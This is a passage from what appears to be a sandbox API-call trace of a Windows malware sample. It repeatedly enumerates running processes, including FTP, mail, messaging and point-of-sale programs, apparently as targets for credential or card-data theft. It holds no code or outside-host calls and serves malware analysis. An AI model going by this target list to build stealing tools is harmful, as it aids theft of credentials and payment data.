th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.340] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.340] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.341] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.342] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.343] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.344] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.345] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.346] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.346] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.347] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.348] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.349] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.350] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.351] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.352] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.353] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.354] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.355] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.356] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.356] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.357] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.358] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.359] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.360] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.360] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.361] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.362] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.363] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.364] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.365] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.366] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.366] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.367] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.368] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.369] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.369] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.860] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.861] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.862] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1034, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.863] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hearts_walker_poet.exe")) returned 1 [0078.863] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="lb_community.exe")) returned 1 [0078.864] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="hispanic.exe")) returned 1 [0078.865] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.865] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1120, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.866] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.867] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0078.867] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.868] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0078.869] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0078.869] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0078.870] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.870] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.872] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.873] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0078.873] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0078.874] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.875] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.875] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.876] Process32NextW (in: hSnapshot=0x310, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0078.877] CloseHandle (hObject=0x310) returned 1 [0078.877] Sleep (dwMilliseconds=0x1f4) [0079.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0079.606] Process32FirstW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.606] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.607] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.607] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.608] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.608] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.609] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.610] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.610] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.611] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.611] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.612] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0079.612] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.613] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.613] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.614] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.614] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.615] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.616] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.616] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.617] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.617] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.618] 